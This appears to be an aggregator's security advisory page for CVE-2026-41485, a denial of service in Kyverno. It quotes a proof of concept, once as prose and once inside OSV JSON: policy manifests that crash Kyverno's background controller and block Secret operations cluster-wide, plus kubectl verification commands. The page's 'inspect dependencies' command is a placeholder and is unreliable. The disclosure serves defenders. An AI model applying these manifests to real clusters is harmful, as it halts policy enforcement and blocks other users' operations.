CVE-2026-41485: Github.com/kyverno/kyverno Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-fpjq-c37h-cqcv
CVSS 7.7
CWE-617
Published
Advisory Summary

CVE-2026-41485 is a HIGH (CVSS 7.7) denial of service vulnerability (CWE-617: Reachable Assertion) affecting Github.com/kyverno/kyverno libraries in the Go ecosystem. The issue involves kyverno controller denial of service via foreach mutation panic. Remediation is available by upgrading affected packages to version 1.16.4, 1.17.2.

CVE-2026-41485 at a Glance

CVE Identifier CVE-2026-41485
GHSA Identifier GHSA-fpjq-c37h-cqcv
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-617: Reachable Assertion
Affected Product Github.com/kyverno/kyverno
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-41485

To remediate this vulnerability, upgrade all affected Github.com/kyverno/kyverno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kyverno/kyverno fixed: 1.16.4
Upgrade github.com/kyverno/kyverno to 1.16.4
github.com/kyverno/kyverno fixed: 1.17.2
Upgrade github.com/kyverno/kyverno to 1.17.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kyverno/kyverno

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41485, inspect your project dependencies for Github.com/kyverno/kyverno:

inspect dependencies for github.com/kyverno/kyverno

Analyze the terminal output to locate any version of Github.com/kyverno/kyverno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.16.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-617: Reachable Assertion, where the product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary. In Github.com/kyverno/kyverno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unchecked type assertion in the `forEach` mutation handler allows any user with permission to create a `Policy` or `ClusterPolicy` to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected. ### Details In `pkg/engine/mutate/mutation.go`, the `ForEach` function performs a bare type assertion on a map value that can be nil: ```go patcher := NewPatcher(fe["patchStrategicMerge"], fe["patchesJson6902"].(string)) ``` When a `forEach` rule uses a `patchesJson6902` field containing a variable substitution (e.g., `{{ element.nonexistent }}`) that resolves to `nil` at runtime, the type assertion `.(string)` on a nil `interface{}` triggers an unrecoverable Go panic: ``` panic: interface conversion: interface {} is nil, not string ``` When a `mutateExisting` rule triggers, the admission controller creates an `UpdateRequest` resource that the background controller processes asynchronously. This resource survives controller restarts, re-triggering the panic on every restart until the policy or `UpdateRequest` is deleted. The background controller processes `mutateExisting` rules in worker goroutines where `k8s.io/apimachinery/pkg/util/runtime.HandleCrash` catches panics but re-panics by default, killing the process. The admission controller survives because Go's `net/http` server absorbs panics in handler goroutines via `defer recover()`, though the connection is dropped. The vulnerable code was introduced in #10702. Kyverno versions v1.13.0 to v1.17.1 are affected. ### PoC Apply the following manifest: ```yaml # --- PoC A: Namespaced Policy crashes the background controller --- apiVersion: kyverno.io/v1 kind: Policy metadata: name: poc-background-crash namespace: default spec: mutateExistingOnPolicyUpdate: true rules: - name: crash-foreach-nil match: any: - resources: kinds: - ConfigMap mutate: targets: - apiVersion: v1 kind: ConfigMap name: poc-target namespace: default foreach: - list: "target.data | keys(@)" patchesJson6902: "{{ element.nonexistent }}" --- apiVersion: v1 kind: ConfigMap metadata: name: poc-target namespace: default data: key1: value1 --- # This ConfigMap creation triggers the mutateExisting rule via UpdateRequest apiVersion: v1 kind: ConfigMap metadata: name: poc-trigger namespace: default data: trigger: "true" --- # --- PoC B: ClusterPolicy panics the admission controller (connection drop) --- # Effect: all Secret create/update operations are blocked cluster-wide # The admission controller does not crash (net/http recovers), but every # matching request gets EOF -> webhook failure -> denied apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: poc-admission-panic spec: rules: - name: panic-foreach-nil match: any: - resources: kinds: - Secret mutate: foreach: - list: "request.object.data | keys(@)" patchesJson6902: "{{ element.nonexistent }}" ``` Verify: ```bash # After ~5 seconds, background controller is in CrashLoopBackOff: kubectl get pods -n kyverno -l app.kubernetes.io/component=background-controller # Admission panic — all Secret operations fail with EOF: kubectl create secret generic test-secret --from-literal=key=value # Error: failed calling webhook "mutate.kyverno.svc-fail": ... EOF ``` Admission controller logs: ``` http: panic serving 10.244.0.1:64359: interface conversion: interface {} is nil, not string goroutine 1914 [running]: net/http.(*conn).serve.func1() net/http/server.go:1943 +0xb4 panic({0x3947fc0?, 0x40023e3890?}) runtime/panic.go:783 +0x120 github.com/kyverno/kyverno/pkg/engine/mutate.ForEach({0x394e240?, 0x0?}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, 0x0, ...}, ...) github.com/kyverno/kyverno/pkg/engine/mutate/mutation.go:81 +0x3e0 github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateElements(0x4002609410, {0x4cd78d8, 0x40023b1d10}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, ...}, ...) github.com/kyverno/kyverno/pkg/engine/handlers/mutation/common.go:126 +0x4e8 github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateForEach(0x4002609410, {0x4cd78d8, 0x40023b1d10}) ... ``` ### Impact Persistent denial of service of cluster-wide Kyverno controllers. `Policy` is a namespaced resource whose creation can be delegated to namespace users via standard Role/RoleBinding, without granting any cluster-level permissions. Such a user can: 1. Crash the background controller into a persistent CrashLoopBackOff, halting all background processing (generate rules, mutateExisting rules, cleanup) across all namespaces in the cluster, not just their own. 2. Block admission operations for matched resource kinds within their namespace via the admission controller webhook panic path. With a `ClusterPolicy` (requiring cluster-level RBAC), the admission block extends cluster-wide. The crash loop is self-sustaining because the poisoned `UpdateRequest` remains in the queue and re-triggers the panic on every controller restart.

CVE-2026-41485 Affected Github.com/kyverno/kyverno Versions

2 component(s)
Fixed Versions:
1.16.41.17.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kyverno/kyverno
Go
≥ 1.13.0
< 1.16.4
1.16.4
github.com/kyverno/kyverno
Go
≥ 1.17.0-rc.1
< 1.17.2
1.17.2

References

Frequently Asked Questions

What is CVE-2026-41485?
CVE-2026-41485 is a security vulnerability in Github.com/kyverno/kyverno involving Kyverno Controller Denial of Service via forEach Mutation Panic under CWE-617: Reachable Assertion.
Which Github.com/kyverno/kyverno versions are affected?
Affected versions include releases prior to 1.16.4, 1.17.2 across affected packages: github.com/kyverno/kyverno.
What version fixes CVE-2026-41485?
Upgrading to 1.16.4, 1.17.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kyverno/kyverno affected?
Yes, github.com/kyverno/kyverno is affected in releases prior to 1.16.4, 1.17.2. Upgrade your dependency to 1.16.4, 1.17.2 or later.
What is the CVSS score of CVE-2026-41485?
CVE-2026-41485 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H.
What CWE is associated with CVE-2026-41485?
CVE-2026-41485 is classified under CWE-617: Reachable Assertion (The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.).
How can I check Go dependencies for CVE-2026-41485?
Run the dependency tree command: 'inspect dependencies for github.com/kyverno/kyverno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fpjq-c37h-cqcv",
  "modified" : "2026-04-24T20:40:39Z",
  "published" : "2026-04-24T20:40:39Z",
  "aliases" : [ "CVE-2026-41485" ],
  "summary" : "Kyverno Controller Denial of Service via forEach Mutation Panic",
  "details" : "### Summary\n\nAn unchecked type assertion in the `forEach` mutation handler allows any user with permission to create a `Policy` or `ClusterPolicy` to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected.\n\n### Details\n\nIn `pkg/engine/mutate/mutation.go`, the `ForEach` function performs a bare type assertion on a map value that can be nil:\n\n```go\npatcher := NewPatcher(fe[\"patchStrategicMerge\"], fe[\"patchesJson6902\"].(string))\n```\n\nWhen a `forEach` rule uses a `patchesJson6902` field containing a variable substitution (e.g., `{{ element.nonexistent }}`) that resolves to `nil` at runtime, the type assertion `.(string)` on a nil `interface{}` triggers an unrecoverable Go panic:\n\n```\npanic: interface conversion: interface {} is nil, not string\n```\n\nWhen a `mutateExisting` rule triggers, the admission controller creates an `UpdateRequest` resource that the background controller processes asynchronously. This resource survives controller restarts, re-triggering the panic on every restart until the policy or `UpdateRequest` is deleted.\n\nThe background controller processes `mutateExisting` rules in worker goroutines where `k8s.io/apimachinery/pkg/util/runtime.HandleCrash` catches panics but re-panics by default, killing the process. The admission controller survives because Go's `net/http` server absorbs panics in handler goroutines via  `defer recover()`, though the connection is dropped.\n\nThe vulnerable code was introduced in #10702. Kyverno versions v1.13.0 to v1.17.1 are affected.\n\n### PoC\n\nApply the following manifest:\n\n```yaml\n# --- PoC A: Namespaced Policy crashes the background controller ---\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: poc-background-crash\n  namespace: default\nspec:\n  mutateExistingOnPolicyUpdate: true\n  rules:\n  - name: crash-foreach-nil\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    mutate:\n      targets:\n      - apiVersion: v1\n        kind: ConfigMap\n        name: poc-target\n        namespace: default\n      foreach:\n      - list: \"target.data | keys(@)\"\n        patchesJson6902: \"{{ element.nonexistent }}\"\n---\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: poc-target\n  namespace: default\ndata:\n  key1: value1\n---\n# This ConfigMap creation triggers the mutateExisting rule via UpdateRequest\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: poc-trigger\n  namespace: default\ndata:\n  trigger: \"true\"\n---\n# --- PoC B: ClusterPolicy panics the admission controller (connection drop) ---\n# Effect: all Secret create/update operations are blocked cluster-wide\n# The admission controller does not crash (net/http recovers), but every\n# matching request gets EOF -> webhook failure -> denied\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: poc-admission-panic\nspec:\n  rules:\n  - name: panic-foreach-nil\n    match:\n      any:\n      - resources:\n          kinds:\n          - Secret\n    mutate:\n      foreach:\n      - list: \"request.object.data | keys(@)\"\n        patchesJson6902: \"{{ element.nonexistent }}\"\n```\n\nVerify:\n\n```bash\n# After ~5 seconds, background controller is in CrashLoopBackOff:\nkubectl get pods -n kyverno -l app.kubernetes.io/component=background-controller\n\n# Admission panic — all Secret operations fail with EOF:\nkubectl create secret generic test-secret --from-literal=key=value\n# Error: failed calling webhook \"mutate.kyverno.svc-fail\": ... EOF\n```\n\nAdmission controller logs:\n\n```\nhttp: panic serving 10.244.0.1:64359: interface conversion: interface {} is nil, not string\ngoroutine 1914 [running]:\nnet/http.(*conn).serve.func1()\n        net/http/server.go:1943 +0xb4\npanic({0x3947fc0?, 0x40023e3890?})\n        runtime/panic.go:783 +0x120\ngithub.com/kyverno/kyverno/pkg/engine/mutate.ForEach({0x394e240?, 0x0?}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, 0x0, ...}, ...)\n        github.com/kyverno/kyverno/pkg/engine/mutate/mutation.go:81 +0x3e0\ngithub.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateElements(0x4002609410, {0x4cd78d8, 0x40023b1d10}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, ...}, ...)\n        github.com/kyverno/kyverno/pkg/engine/handlers/mutation/common.go:126 +0x4e8\ngithub.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateForEach(0x4002609410, {0x4cd78d8, 0x40023b1d10})\n...\n```\n\n### Impact\n\nPersistent denial of service of cluster-wide Kyverno controllers. `Policy` is a namespaced resource whose creation can be delegated to namespace users via standard Role/RoleBinding, without granting any cluster-level permissions. Such a user can:\n\n1. Crash the background controller into a persistent CrashLoopBackOff, halting all background processing (generate rules, mutateExisting rules, cleanup) across all namespaces in the cluster, not just their own.\n2. Block admission operations for matched resource kinds within their namespace via the admission controller webhook panic path. With a `ClusterPolicy` (requiring cluster-level RBAC), the admission block extends cluster-wide.\n\nThe crash loop is self-sustaining because the poisoned `UpdateRequest` remains in the queue and re-triggers the panic on every controller restart.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.13.0"
      }, {
        "fixed" : "1.16.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.17.0-rc.1"
      }, {
        "fixed" : "1.17.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-fpjq-c37h-cqcv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41485"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/commit/76c8fdbe87328722e099e1fd44c3f21c9f7809cb"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/commit/80e728c2283a0c65e5adb02d8a907106e6ebe7e3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kyverno/kyverno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-617" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-24T20:40:39Z",
    "nvd_published_at" : "2026-04-24T04:16:21Z"
  }
}